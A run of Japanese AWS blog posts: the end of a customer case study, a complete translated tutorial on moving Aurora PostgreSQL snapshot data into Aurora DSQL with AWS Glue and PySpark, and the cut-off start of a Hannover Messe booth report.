AgentCoreを活用し、情報検索エージェントの開発を行いました。ユーザーの意図を理解して最適な検索クエリを自動生成し、経験年数に関わらず、高品質な情報収集が可能 となることに加え、 情報更新エージェントが新規情報にコンテキストやメタデータを自動付与し、知的資産を体系的に蓄積 。Strands Agentsや Amazon S3 Vectors も活用した先進的なアーキテクチャにより、研究業務レベルの底上げと組織全体の生産性向上が期待されてます。 今回ご紹介したお客様のお取り組み以外にも、数多くのお客様がAIを活用した課題解決への取り組みを加速しています。AWSジャパン広域事業統括本部は、クラウドおよび生成AIを最大限に活用したデジタルトランスフォーメーション（DX）の推進を通じて、自社のビジネス変革のみならず、社会課題の解決にまで取り組む中堅・中小企業のお客様への伴走支援を一層強化してまいります。 アマゾン ウェブ サービス ジャパン合同会社 常務執行役員 広域事業統括本部 統括本部長　原田 洋次

本記事は 2026 年 5 月 7 日 に公開された「 Migrating data from an Amazon Aurora snapshot into Amazon Aurora DSQL 」を翻訳したものです。 Amazon Aurora DSQL は、高可用性、無制限のスケール、マルチリージョンの強整合性、そしてインフラ管理不要を実現したサーバーレス分散 SQL データベースです。Aurora DSQL はデータベースへのデータ移行に PostgreSQL の COPY コマンドをサポートしており、Aurora DSQL 向けに COPY コマンドを利用しやすくした dataloader スクリプトも提供しています。ただしこの方式は、テーブルを 1 つずつ移行する必要があるうえ、ソースデータベースから移行先 Aurora DSQL クラスターへデータをコピーする中継用コンピュートインスタンスを別途用意しなければならず、ソースとターゲット間でデータを変換する手段も用意されていません。大規模なデータ移行や、データ型変換、スキーマ変更、その他の変換が必要な移行には、マネージドな移行手法のほうが適しています。本記事では AWS Glue を使って Amazon Aurora のスナップショットから Aurora DSQL クラスターへデータを移行する方法を紹介します。 ソリューション概要 AWS Glue は、Extract, Transform, Load (ETL) 処理を行う Apache Spark ジョブ向けにマネージドな並列実行環境を提供するデータ統合サービスです。AWS Glue では、移行に必要なデータ変換を PySpark スクリプトとして記述でき、移行に利用するコンピュートノードの数とキャパシティを指定して実行できます。AWS Glue が背後のコンピュートインフラを管理し、コンピュートノード間で処理の分散と並列実行をオーケストレーションします。 本記事では、Amazon Aurora PostgreSQL-Compatible Edition から Aurora DSQL へ、データベーススナップショットと AWS Glue を使って 2 つのテーブルを持つデータベースを移行する例で、この移行手法を紹介します。今回の移行のワークフローは次の図のとおりです。 移行ワークフローは次のとおりです。 Aurora PostgreSQL クラスターのスナップショットを作成します。 Aurora スナップショットの S3 へのエクスポート機能 を使い、スナップショットから Amazon Simple Storage Service (Amazon S3) バケットへ Parquet 形式でデータを抽出します。 AWS Glue クローラーを作成・実行して S3 上の Parquet ファイルを発見し、スキーマを判定し、スキーマとファイルの場所を AWS Glue Data Catalog に記録します。ソースデータベースのテーブルごとに 1 つのクローラーを作成します。 Data Catalog を参照して S3 からファイルを見つけて読み込み、必要なデータ変換を行ったうえで Aurora DSQL に書き込む PySpark ETL ジョブを AWS Glue で作成します。 ETL ジョブを実行し、ワンタイムのデータロードを行います。 Aurora DSQL は 1 クラスターあたり 1 データベースのみをサポートしますが、Aurora クラスターは複数のデータベースをホストできます。複数のデータベースをホストする Aurora クラスターを移行するには、Aurora スナップショットに含まれるデータベースごとにこの移行プロセスを繰り返し、データベースをそれぞれ独立した Aurora DSQL クラスターにデプロイするか、Aurora DSQL の 1 つのデータベース内に複数のスキーマとして移行する必要があります。 データ型変換 Aurora スナップショットの S3 エクスポート処理では、Aurora DSQL への最終的な書き込みに影響するデータ変換が行われます。一部の変換は修正や再変換が必要になる場合があり、その作業は AWS Glue ETL ジョブ内の PySpark で行えます。たとえば、ソースデータベースの timestamp 型カラムは、スナップショットエクスポート時に Parquet のバイト配列に変換され 、PySpark で読み込んだ際には文字列オブジェクトとして解釈されます。Aurora DSQL に書き込む前に、この文字列を timestamp 型へ戻す必要があります。スナップショットエクスポート処理が PostgreSQL のデータ型を Parquet にどう変換するかは、 エクスポート関連のドキュメント を参照してください。 Aurora DSQL はオープンソースの PostgreSQL で利用できる全データ型をサポートしているわけではありません。Aurora DSQL がサポートするデータ型の一覧は Aurora DSQL ユーザーガイド を参照してください。ソースデータベースのテーブルで Aurora DSQL がサポートしないデータ型を使っているカラムを特定し、Aurora DSQL ではどう表現するかを決め、AWS Glue PySpark ジョブで変換を行う必要があります。該当するカラムはスナップショットエクスポート時にも変換される場合があるため、PySpark スクリプトでその点も考慮しなければなりません。 主キーの扱い 多くのアプリケーションは主キーに連番の整数を使います。新しいデータに一意の識別子を自動付与でき、ほとんどのリレーショナルデータベースでは新しい行がストレージ上で近い位置に配置されるため、最近追加された行が他の新しい近接行の読み取りでバッファキャッシュに乗りやすくなります。アプリケーションでは古いデータより新しいデータのほうが頻繁に読まれる傾向があり、ストレージからの読み取りよりキャッシュからの読み取りのほうがはるかに高速なため、連番識別子は多くのアプリケーションで読み取り性能の向上につながります。 ただし Aurora DSQL はバッファキャッシュを提供しておらず、大規模に連番整数キーを使うとホットなストレージパーティションが発生する可能性があります。Aurora DSQL のレンジパーティショニングでは新しいデータがすべて同じストレージパーティションに配置されるためです。代わりに、レンジパーティション化されたストレージで分散が良くなる主キーを選びましょう。テーブル内に既に存在するカラムの中から、カーディナリティの高いカラムに他の 1 つ以上のカラムを続けた複合キーを選ぶことを推奨します。この種のキーはデータへのアクセス方法と一致しやすく、追加のセカンダリインデックスを必要としません。また、テーブル定義のみを変更しテーブル内のデータは変えないため、移行時に追加のデータ変換も必要ありません。 ただし、これが常に可能とは限りません。場合によっては、UUID (Universally Unique Identifier) かランダム化された識別子で旧主キーを置き換える新しい主キーカラムを作成する必要があります。移行時に主キーを変換するのは難しく、外部キー関係も修正しなければなりません。移行検証のためにソースデータベースとターゲットデータベース間で行をマップできるよう、元の識別子を別カラムに残しておきたい場合もあります。データベースを利用するすべてのアプリケーションも新しい識別子を使うように更新する必要があります。 本記事の例では主キーを UUID に変換し、外部キー関係を修正することで、AWS Glue と PySpark を使った主キー変換の進め方を示します。元の主キーは別カラムに残し、ソースデータベースへマップし直せるようにします。 移行手順 本セクションでは、架空の小売アプリケーション向けデータベースを Aurora PostgreSQL から Aurora DSQL へ移行する手順を順を追って説明します。本記事では、例を交えて移行プロセスを示し、実際の移行に応用していただくことを目的としています。 Aurora PostgreSQL のソースデータベース名は「storefront」です。storefront には次のテーブルを持つ sales スキーマが含まれています。 CREATE SCHEMA sales; CREATE TABLE sales.customers ( id integer NOT NULL, username character varying(50), first_name character varying(50), last_name character varying(50) ); CREATE TABLE sales.orders ( id integer NOT NULL, customer_id integer, order_date date, order_timestamp timestamp without time zone, product_details jsonb, quantity integer, unit_cost numeric(6,2), unit_weight real ); これらのテーブルは実際の小売データベースとしては必ずしも適切ではありませんが、Aurora DSQL でどう変換されるかを示すためにさまざまなデータ型のカラムを持たせています。 sales.orders テーブルの customer_id カラムは sales.customers テーブルの id カラムを参照しています。簡潔にするためインデックスや制約は省略しています。 前提条件 この例の移行は本番環境で実施しないでください。実行には、AWS アカウントと、移行に必要なリソース (AWS Identity and Access Management (IAM) のロールやアクセス許可を含む) を作成できる十分な権限が必要です。例のソリューションを自分の移行に応用する場合は、本番データを移行する前に必ず非本番アカウントで作業し、十分にテストしてください。 また、ワークステーションのローカルか、AWS 環境で動作するコンピュートインスタンス上で動作する Unix bash シェルセッションへのアクセスも必要です。ワークステーションは AWS アカウントおよびソース／ターゲットデータベースへのネットワークアクセスを持ち、最近のバージョンの AWS Command Line Interface (AWS CLI) がインストールされている必要があります。AWS CLI は前述の IAM ロールで 設定されている必要があります 。 AWS 環境でのデータベース操作、Unix シェル、AWS マネジメントコンソールや AWS CloudFormation などの AWS サービスについて中級程度の経験があることを前提としています。そのため、ソースデータベースの構築、データベースへの接続、コマンドを実行するワークステーションのセットアップについての具体的な手順は示しません。 本移行には Amazon S3 バケット、AWS Glue クローラー、AWS Glue ジョブ、 AWS Key Management Service (AWS KMS) キー、エンドツーエンドのワークフローを実現するためのアクセス許可を付与する複数の IAM ポリシーとロールが必要です。利便性のため、これらのコンポーネントは AWS CloudFormation テンプレートでデプロイし、移行に使う PySpark コードもあわせてデプロイします。CloudFormation テンプレートと関連ファイルは GitHub リポジトリで公開しており、ワークステーションにダウンロードしてください。次のコマンドでプロジェクトファイルをダウンロードします。 git clone git@github.com:aws-samples/sample-migrate-to-dsql.git リポジトリには amazon-aurora-snapshots-to-dsql というサブディレクトリがあり、以下のファイルが含まれています。本記事ではこのディレクトリを「プロジェクトディレクトリ」と呼びます。 プロジェクトに含まれるファイルは次のとおりです。 stack.yml 後続のセクションで参照する S3 バケット、AWS KMS キー、AWS Glue クローラー、AWS Glue ジョブ、関連する IAM ポリシーおよびロールを作成します。 ddl-dsql.sql ターゲットの Aurora DSQL クラスターに必要なスキーマ、テーブル、インデックスを作成する SQL コマンドが含まれています。 storefront.sql.zip ソースデータベースのスキーマとテーブルを作成し、サンプルデータをテーブルに投入する SQL コマンドが含まれています。 AWS アカウント内の Amazon Virtual Private Cloud (Amazon VPC) のプライベートサブネットに、 新しい Aurora PostgreSQL クラスターを作成します 。本例では PostgreSQL 17.7 を使用しています。クラスター名は「prod-cluster」とし、 初期データベース名 には「storefront」を指定します。クラスター作成時に初期データベース名を設定し忘れた場合は、クラスターにログインし、次の SQL 文でデータベースを作成します。 CREATE DATABASE storefront; プロジェクトディレクトリの bash シェルで次のコマンドを実行し、データベーススキーマを作成してサンプルデータをロードします。 unzip storefront.sql.zip psql -h <<your cluster's hostname>> -U postgres -f storefront.sql -d storefront データベースクラスターの「postgres」ユーザーのパスワード入力を求められます。データのロード後、storefront データベースにログインし、次の SQL コマンドでサンプルデータを確認します。 select * from sales.customers limit 20; select * from sales.orders limit 20; これでソースデータベースの準備ができました。Aurora DSQL へのデータ移行に進みます。 移行の実行 まず Aurora DSQL クラスターを作成します。Unix 系のコマンドラインで次のコマンドを実行し、「storefront」という名前の単一リージョン Aurora DSQL クラスターを作成し、エンドポイントと Amazon Resource Name (ARN) を新しい環境変数に保存します。クラスター作成は数秒で完了します。 export DSQL_CLUSTER_ID=($(aws dsql create-cluster --no-deletion-protection-enabled --tags Name=storefront --output text --query 'identifier')) export DSQL_ENDPOINT=$(aws dsql get-cluster --identifier $DSQL_CLUSTER_ID --output text --query 'endpoint') export DSQL_CLUSTER_ARN=$(aws dsql get-cluster --identifier $DSQL_CLUSTER_ID --output text --query 'arn') クラスターのステータスは次のコマンドで確認します。 aws dsql get-cluster --identifier $DSQL_CLUSTER_ID \ --output text --query 'status' ステータスが「ACTIVE」になるまで何度か実行します。Aurora DSQL クラスターがアクティブになったら、 クラスターに接続 し、GitHub プロジェクトの ddl-dsql.sql ファイルにあるコマンドを実行してスキーマとテーブルを作成します。 次に、先ほどの GitHub プロジェクトの stack.yml テンプレートファイルを使い、「apg-to-dsql」という名前の AWS CloudFormation スタックを作成します。スタック名は後で参照するため重要です。スタックには次のパラメータが必要です。 DSQLClusterEndpoint 作成した Aurora DSQL クラスターのエンドポイント。AWS マネジメントコンソールのクラスター詳細ページで確認できます。 DSQLClusterArn 作成した Aurora DSQL クラスターの ARN。AWS マネジメントコンソールのクラスター詳細ページで確認できます。 LoaderJobCapacity DSQL ローダージョブに割り当て可能な AWS Glue data processing unit (DPU) の最大キャパシティで、2〜100 の範囲で指定します。DPU は処理能力の相対的な指標で、4 vCPU と 16 GB メモリで構成されます。移行のサイズと複雑さに応じて DPU 数を選びます。 ExportJobName スナップショットエクスポートジョブの名前。アカウント内で一意である必要があります。 SourceDatabaseName Aurora PostgreSQL のソースデータベース名。 SourceSchemaName ソースデータベースから移行するスキーマ名。 サンプル移行のデフォルト値でスタックを作成するには、プロジェクトディレクトリで次のコマンドを実行します。 aws cloudformation create-stack --stack-name apg-to-dsql \ --template-body file://stack.yml --capabilities CAPABILITY_NAMED_IAM \ --parameters ParameterKey=DSQLClusterEndpoint,ParameterValue=$DSQL_ENDPOINT ParameterKey=DSQLClusterArn,ParameterValue=$DSQL_CLUSTER_ARN aws cloudformation wait stack-create-complete --stack-name apg-to-dsql スタックの完了を待ちます。後続の手順で必要となる出力値が複数あります。 KmsKeyArn エクスポートしたスナップショットデータを暗号化するために作成された AWS KMS キーの ARN。 SnapshotExportRoleArn スナップショットエクスポート処理が S3 にデータを保存するために必要な IAM ロールの ARN。 GlueRoleName AWS Glue ジョブが必要なアクセスを得るための IAM ロール名。 GlueRoleArn AWS Glue ジョブが必要なアクセスを得るための IAM ロールの ARN。 GlueJobName AWS Glue ジョブの名前。 後続のコマンドで使いやすいように、スタックパラメータと出力値を環境変数に取り込みます。スタック名を「apg-to-dsql」以外にした場合は、コマンドを設定したスタック名に合わせて修正してください。 export EXPORT_JOB_NAME=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Parameters[?ParameterKey==`ExportJobName`].ParameterValue' --output text) export BUCKET_NAME=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Outputs[?OutputKey==`BucketName`].OutputValue' --output text) export DATABASE_NAME=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Parameters[?ParameterKey==`SourceDatabaseName`].ParameterValue' --output text) export EXPORT_ROLE_ARN=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Outputs[?OutputKey==`SnapshotExportRoleArn`].OutputValue' --output text) export KMS_KEY_ARN=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Outputs[?OutputKey==` KmsKeyArn`].OutputValue' --output text) export GLUE_JOB_NAME=$(aws cloudformation describe-stacks --stack-name apg-to-dsql --query 'Stacks[0].Outputs[?OutputKey==`GlueJobName`].OutputValue' --output text) 次のコマンドでデータベーススナップショットを作成します。スナップショット名は「migrate-to-dsql」、ソースデータベースクラスター名は前述の「prod-cluster」です。スナップショットの ARN は後で使うため SNAPSHOT_ARN という環境変数に取り込みます。 export SNAPSHOT_ARN=$(aws rds create-db-cluster-snapshot --db-cluster-snapshot-identifier migrate-to-dsql --db-cluster-identifier prod-cluster --output text --query 'DBClusterSnapshot.DBClusterSnapshotArn') スナップショットのステータスは次のコマンドで確認します。 aws rds describe-db-cluster-snapshots \ --db-cluster-snapshot-identifier migrate-to-dsql --output text \ --query 'DBClusterSnapshots[*].Status' ステータスが「available」になるまで何度か実行し、その後で次のコマンドでスナップショットをエクスポートします。 aws rds start-export-task --export-task-identifier "$EXPORT_JOB_NAME" \ --source-arn $SNAPSHOT_ARN --s3-bucket-name "$BUCKET_NAME" \ --iam-role-arn "$EXPORT_ROLE_ARN" --kms-key-id "$KMS_KEY_ARN" エクスポートジョブのステータスが「COMPLETE」になるまで、次のコマンドを定期的に実行して状態を確認します。 aws rds describe-export-tasks --export-task-identifier "$EXPORT_JOB_NAME" --query 'ExportTasks[0].Status' --output text ここまでで、移行に必要なインフラの構築、ソースデータベースのスナップショット作成、Parquet ファイルとしての S3 バケットへのスナップショットエクスポートが完了しました。次に AWS Glue クローラーを実行してエクスポート済みデータをカタログ化し、PySpark ジョブを実行して Aurora DSQL にデータをロードします。 ソースデータベースからエクスポートした両方のテーブルに対して、次のコマンドで AWS Glue クローラーを実行します。クローラーは CloudFormation テンプレートで作成済みです。 aws glue start-crawler --name customers aws glue start-crawler --name orders クローラージョブの状態は次のコマンドで取得できます。クロール対象データの量によっては完了まで数分かかることがあります。両方のジョブが「COMPLETED」になるまで 1 分ごとに実行してください。 aws glue list-crawls --crawler-name customers \ --output text --query 'Crawls[0].State' aws glue list-crawls --crawler-name orders --output text --query 'Crawls[0].State' 両方のクローラージョブが完了したら、次のコマンドでクローラーがエクスポート済みスナップショットデータからカタログ化したテーブルとカラムを確認します。AWS Glue ローダージョブはこのカタログを使って S3 バケット内のエクスポート済みスナップショットデータを見つけます。 aws glue get-tables --database-name "$DATABASE_NAME" \ --query 'TableList[*].[Name,StorageDescriptor.Columns[*]]' 出力は次のようになります。 [ [ "sales_customers", [ { "Name": "id", "Type": "int" }, { "Name": "username", "Type": "string" }, { "Name": "first_name", "Type": "string" }, { "Name": "last_name", "Type": "string" } ] ], [ "sales_orders", [ { "Name": "id", "Type": "int" }, { "Name": "customer_id", "Type": "int" }, { "Name": "order_date", "Type": "string" }, { "Name": "order_timestamp", "Type": "string" }, { "Name": "product_details", "Type": "string" }, { "Name": "quantity", "Type": "int" }, { "Name": "unit_cost", "Type": "string" }, { "Name": "unit_weight", "Type": "float" } ] ] ] 次のコマンドで AWS Glue ジョブを実行します。 export JOB_RUN_ID=($(aws glue start-job-run --job-name "$GLUE_JOB_NAME" --output text --query 'JobRunId')) ジョブのステータスは次のコマンドで取得します。完了するまで定期的に実行してください。 aws glue get-job-run --job-name "$GLUE_JOB_NAME" --run-id $JOB_RUN_ID --output text --query 'JobRun.JobRunState' ジョブが完了すれば、データ移行は完了です。 検証 行数のカウントと数値カラムの合計を取り、移行が正しく完了したか検証します。 まずソースの Aurora PostgreSQL データベースとターゲットの Aurora DSQL クラスターの両方で次のクエリを実行します。 select count(*) from sales.customers; 両方の件数が一致するはずです。次のクエリもソースとターゲットの両方で実行し、件数と合計値がすべて一致することを確認します。 select count(*), sum(quantity), sum(unit_cost) from sales.orders; この単純な検証方法は本番環境の移行には十分ではありません。実際には、移行中に行った変換処理を考慮しつつ、すべてのカラム値を行ごとに比較する必要があります。 AWS Glue ジョブを理解する 本移行手法には多くの構成要素がありますが、唯一複雑なのはスクリプトを自分で書く必要のある AWS Glue ジョブです。本記事の AWS Glue ジョブはシンプルで、いくつかのデータ型変換と整数識別子から UUID への変更しか行っていませんが、より複雑な移行を構築する際の基本要素を示しています。本サンプル移行の AWS Glue ジョブのコードは CloudFormation スタックでデプロイ済みです。閲覧するには AWS Glue コンソールで ETL jobs を選択し、 storefront-snapshot-dsql-loader ジョブを選びます。スクリプトエディタにスクリプトが読み込まれます。コードを順に確認していきましょう。 ファイル冒頭はセットアップコードで、ライブラリのインポート、API コンポーネントの初期化、CloudFormation テンプレートで設定したジョブ設定パラメータの取得を行います。該当部分は次のとおりです。 import boto3 import sys from awsglue.transforms import * from awsglue.utils import getResolvedOptions from pyspark.context import SparkContext from awsglue.context import GlueContext from awsglue.dynamicframe import DynamicFrame from pyspark.sql import SparkSession from pyspark.sql import functions as func from pyspark.sql.functions import to_timestamp, to_date, col from awsglue.job import Job # Read job configuration parameters args = getResolvedOptions(sys.argv, ['JOB_NAME', 'dsql_endpoint', 'glue_database', 'schema']) # Job initializations dsql = boto3.client('dsql') sc = SparkContext() glueContext = GlueContext(sc) spark = glueContext.spark_session job = Job(glueContext) job.init(args['JOB_NAME'], args) 続く数行のコードでは、AWS Glue カタログを使って S3 上のファイルを見つけ構造を解釈しつつ、customers と orders のデータを読み込みます。 # Read the exported snapshot tables from S3 customers_df = glueContext.create_dynamic_frame_from_catalog(database=args['glue_database'], table_name=args['schema'] + '_customers').toDF() orders_df = glueContext.create_dynamic_frame_from_catalog(database=args['glue_database'], table_name=args['schema'] + '_orders').toDF() 次にデータにいくつかの変換を適用します。データ型をいくつか変換し、テーブルの主キーを UUID に変換しつつ、元の ID は別カラム名で残します。まず customers テーブルから始めます。 # Perform transformations for the customers table customers_df.createOrReplaceTempView('customers') customers_adjusted = spark.sql('SELECT uuid() AS id, customers.id AS old_id, username, first_name, last_name FROM customers') customers_adjusted.createOrReplaceTempView('customers') ここでは id カラムを「old_id」にリネームします。続いて新しい「id 」 カラムを作成し、各行に新たに生成した UUID 値を設定します。これらの変換と後続ステップで残すカラムの選択は、使い慣れた SQL で行えます。 orders テーブルでも同様の処理を行いますが、加えて customer_id カラムを「old_customer_id」にリネームします。「old_customer_id」カラムは一時的なもので、後ほど UUID 主キーへの切り替えに伴う外部キー関係の修正で使います。 # Perform transformations for the orders table orders_df.createOrReplaceTempView('orders') orders_adjusted = spark.sql('SELECT uuid() AS id, orders.id AS old_id, customer_id as old_customer_id, order_date, order_timestamp, product_details, quantity, unit_cost, unit_weight FROM orders') 次に「order_timestamp」カラムと「order_date」カラムを修正し、Parquet 変換で文字列になっていた値を本来の timestamp 型と date 型に戻します。 to_timestamp() と to_date() を使っている点に注目してください。 orders_adjusted = orders_adjusted.withColumn('order_timestamp', to_timestamp(col('order_timestamp'))) orders_adjusted = orders_adjusted.withColumn('order_date', to_date(col('order_date'))) 続いて orders と customers の外部キー関係を新しい UUID 主キーを使うように修正し、Aurora DSQL のデータベースには残したくない「old_customer_id」カラムを削除します。Aurora DSQL は現状で外部キー制約を強制しませんが結合はサポートしているため、効率的な結合のために関係を修正することは重要です。 # Fix foreign key relationship between orders and customers orders_adjusted.createOrReplaceTempView('orders') orders_final = spark.sql('select o.id, c.id as customer_id, o.order_date, o.order_timestamp, o.product_details, o.quantity, o.unit_cost, o.unit_weight from orders o inner join customers c on o.old_customer_id = c.old_id') customers_adjusted = customers_adjusted.drop('old_id') データ変換の作業はこれで完了です。移行のアーキテクチャを示すために基本的な変換のみを紹介しましたが、PySpark は表現力が高く、移行で必要なあらゆる変換を実装できます。 データの準備ができたので、DSQL に書き込みます。次のコードがその処理です。 # Fetch token for authorization jdbc_url = 'jdbc:postgresql://' + args['dsql_endpoint'] + ':5432/postgres?sslmode=require' password = dsql.generate_db_connect_admin_auth_token(args['dsql_endpoint'], ExpiresIn=28800) # Write tables to DSQL customers_adjusted.write \ .format("jdbc") \ .mode('append') \ .option("url", jdbc_url) \ .option("dbtable", 'sales.customers') \ .option("user", "admin") \ .option("password", password) \ .option('sslmode', 'require') \ .option('isolationLevel', 'NONE') \ .option('batchsize', '2500') \ .option('stringtype', 'unspecified') \ .save() orders_final.write \ .format("jdbc") \ .mode('append') \ .option("url", jdbc_url) \ .option("dbtable", 'sales.orders') \ .option("user", "admin") \ .option("password", password) \ .option('sslmode', 'require') \ .option('isolationLevel', 'NONE') \ .option('batchsize', '2500') \ .option('stringtype', 'unspecified') \ .save() job.commit() まず、コードは IAM 認証 用のトークンを生成します。このトークンをデータベースのパスワードとして使います。移行ジョブの実行を通じてトークンが有効であり続けるよう、認証トークンに長めのタイムアウトを設定しています。 次に DataFrameWriter を使い、DataFrame の write() を呼び出して customers と orders の DataFrame を Aurora DSQL のそれぞれのテーブルに書き込みます。Spark が Aurora DSQL でテーブル作成を試みないよう、 DataFrameWriter の書き込みモードを「append」に設定します。Aurora DSQL は SSL 接続が必須のため、「sslmode」を「require」に設定します。 DataFrameWriter のデフォルト動作では、insert を複数バッチに分割しつつもすべてを 1 つのデータベーストランザクションで実行します。この挙動は Aurora DSQL の「1 トランザクションあたり 3,000 行まで」という変更行数の制限に抵触し、AWS Glue ジョブが失敗する原因になります。これを回避するため「isolationLevel」を「NONE」に設定し、各バッチの後に DataFrameWriter がコミットするよう強制します。バッチサイズが DSQL の制限を超えないよう「batchsize」を「2500」に設定しています。 クリーンアップ 移行を実行し、結果を検証し、AWS Glue スクリプトを理解できたところで、本記事で作成したリソースをクリーンアップします。 まず、次のコマンドで CloudFormation スタックを削除します。 aws cloudformation delete-stack --stack-name apg-to-dsql 次のコマンドを定期的に実行し、コマンドが「Stack with id apg-to-dsql does not exist」というエラーを返すまで状態を確認します。エラーが返ればスタックが削除されたことを意味します。 aws cloudformation describe-stacks --stack-name apg-to-dsql --output text --query 'Stacks[*].StackStatus' CloudFormation スタックが削除されたら、次のコマンドで Aurora DSQL クラスターを削除します。 aws dsql delete-cluster --identifier $DSQL_CLUSTER_ID 続いて、次のコマンドでデータベーススナップショットを削除します。 aws rds delete-db-cluster-snapshot --db-cluster-snapshot-identifier migrate-to-dsql 最後に、本例でソースデータベースとして使った Aurora PostgreSQL クラスターを削除します 。 まとめ 本記事では、AWS Glue を使って Aurora PostgreSQL のスナップショットから Aurora DSQL へデータを移行する方法を紹介しました。AWS Glue はマネージドな並列実行環境を提供し、大量のデータを Aurora DSQL に短時間で移行しつつ、表現力の高いプログラミング言語でデータ変換を行えます。プロセス全体は複雑に見えますが、難しいのは AWS Glue スクリプトを書く部分だけで、その難易度は移行の複雑さや PySpark の習熟度によって変わります。本記事では、ご自身の移行に合わせて修正できるベーススクリプトを提供しています。 ブラウザベースの プレイグラウンド を使えば、AWS アカウントがなくても今日から Aurora DSQL を評価できます。プレイグラウンドは一時的なデータベース環境で、Aurora DSQL を素早く試して数分でハンズオンを始められます。 著者について Dan Blaner Dan は、データベースを専門とする Principal Solutions Architect です。シナジーの活用、パラダイムシフト、枠にとらわれない発想を楽しんでいます。閉所恐怖症で箱には入れないので、まず枠の中で考えること自体が得意ではないかもしれません。なぜ箱に入れと言うのか、ですって? 性格的に疑り深いところもあります。 この記事は Kiro が翻訳を担当し、Solutions Architect の Koji Shinkubo がレビューしました。

2026/4/20 – 4/24 に世界最大規模の産業向け展示会ハノーバーメッセが開催されました。AWS は今年も “Built for Industrial AI” というテーマを掲げ、フィジカル AI を筆頭に、AI とクラウドを活用し製造業の業務を変革するアイディアを提供しました。AWS の製造のリーダーである Ozgur Tohumcu から、”産業 AI は大規模展開してこそ意味がある”というメッセージを基調講演で語りました。イベント全体での AWS の活動は、別途 月刊 AWS 製造ブログ でもご紹介しています。このブログでは AWS ブースの概要と展示ソリューションについてご紹介します。 AWS の展示ブース AWS は “Built for Industrial AI” を体現するブースとして「スマート生産」「サプライチェーン」と「製品設計・開発」「スマートプロダクト」の４領域を２つに分けて展示しました。フィジカル AI やシミュレーションへの注目により製品開発系の展示が大きく増えています。 今年度も昨年同様、SIEMENS, QAD, Zoomilion といった様々な業界パートナーが AWS ブース内で展示を行うとともに、AWS 自身の展示を大きく増やしました。本年も、日本チームが現地で日本語でお客様をご案内しました。 本ブログでは、フィジカル AI と主要な４領域の展示についてご紹介します。 フィジカル AI 写真: フィジカル AI デモ “AI-Driven Product Journey” フィジカル AI は本年 AWS ブースで最も注目を集めたエリアの一つで、来場者の足が絶えない人気を博していました。目玉となったのが、”AI-Driven Product Journey” と題された大型デモです。このデモは、来場者がキオスク端末でデザインを選択・入力すると、生成 AI がオリジナルデザインを生成し、AMR(自律走行ロボット)・協働ロボットアーム・レーザー彫刻機・AI 画像検査装置・ヒューマノイドロボットが協調しながら金属製コースターを製造、最終的にヒューマノイドが完成品を来場者に手渡すという一連のプロダクトジャーニーを実演するものです。AMR が LiDAR で周囲を知覚し自律走行する、ロボットアームが 3D ビジョンで部材を認識し把持する、ヒューマノイドが強化学習で獲得した歩行で物を運ぶなど、それぞれが物理世界を知覚・理解し、直接作用するという フィジカル AI の異なる側面を体現しており、フィジカル AI が役割分担して働く姿を一望できる構成になっています。 写真: エージェント AI による工程のオーケストレーション 本デモのもう一つの注目点は、工程全体を エージェント AI が自律的にオーケストレーションしている点です。各装置・ロボットの操作がツールとして定義され、エージェント AI が状況をリアルタイムに判断しながら全工程を指揮します。事前にハードコードされたシナリオをなぞるだけではなく、状況に応じて柔軟に振る舞える点が従来の産業オートメーションとの大きな違いであり、産業 AI を実運用へスケールさせていく上での重要なステップを示すデモとなっていました。 スマート生産 (Smart Manufacturing) Smart Manufacturing エリアは今年も AWS ブースの中で最も広いスペースが割かれており、上記の AI-Driven Product Journey を中心に多くの来場者で賑わっていました。また Rockwell Automation、HighByte、Databricks、Snowflake、Palantir といったパートナー各社との協業展示が目立ち、AWS 単独ではなくエコシステム全体でスマート製造を実現するという姿勢が強く打ち出されていました。技術面では AI エージェントが自律的に複数システムを横断して分析・判断を行うアーキテクチャが前面に出てきたのが昨年からの大きな変化です。ここではその中から、Agentic Workflow Automation と Real-Time Plant Analytics の 2 つのデモをご紹介します。 写真: Agentic Workflow Automation — AI エージェントが製造現場の意思決定を自律支援する内容のデモ Amazon Bedrock AgentCore を基盤に、複数の AI エージェントが MES・ERP・CMMS・IoT を横断して製造データを分析するデモです。「3 工場の生産実績とオーダー目標を比較してほしい」「納期リスクのある顧客オーダーはどれか」といった質問を自然言語で投げかけると、エージェントがグラフデータベースの関係性を元に複数システムからデータを取得し、レポートを自動生成します。エージェントの推論過程がステップごとにリアルタイム表示される “Investigation Trace” 機能もあり、AI がどのデータソースにアクセスしてどう判断したかが透明に追跡できる点が印象的でした。 写真: Real-Time Plant Analytics — 工場 KPI（OEE、不良率等）のリアルタイム監視と、AI によるシフト交代レポートの自動生成デモ Amazon Quick を基盤とした Manufacturing Dashboard の展示です。Overview 画面では OEE や Defect Rate、First Pass Yield といった主要 KPI がリアルタイムで一覧表示されます。中でも注目したいのが Shift Handoff Report 機能で、シフト交代時に AI がワークセンター別の OEE・欠陥分布・保全状況を自動分析し、引き継ぎレポートを生成します。画面右側には Manufacturing Assistant チャットも統合されており、レポートの内容を対話形式でさらに深掘りすることも可能です。 サプライチェーン (Supply Chain) 写真：Supply Chain のデモ 今年も AWS ブース内の他のデモと連携した、Supply Chain のデモをご紹介しました。昨年も同じ AWS ブース内にある製造デモと情報連携し、Supply Chain に関わる情報の可視化や需要予測などを展示しておりましたが、昨年からの大きな変更点として、今回は Kiro で開発したアプリケーションを展示させていただきました。 業務仕様書とデータの構成を元にアプリケーションを自動生成することで、企業におけるカスタムアプリケーション導入/利用の柔軟性を上げ、開発/導入の時間および難易度を下げていく例をご紹介しました。また、同ブース内では、パートナー企業である QAD の ERP・Redzone の展示や、会期中には、こちらもパートナー企業である Infor が製造業における エージェント AI の活用に関する協業の発表を行い、パッケージアプリケーションとカスタムアプリケーションを選択していただく、または組み合わせて利用するといった、お客様の状況に合わせて選択していただける選択肢を AWS が提供している様子をお伝えしました。 製品設計・開発 (Product Engineering) 今回、フィジカル AI の注目により製品設計・開発領域の内容を大きく増やしました。Engineering & Development Tunnel という展示では、AI によるデザインの提案 –> エンジニアリングツールを仮想化 –> デジタルスレッドで設計開発データの連携 –> AI によるパラメータ空間探索(サロゲートモデル)という流れをご紹介しました。AI ( Amazon Nova ) が提案した意匠は、Smart Manufacturing 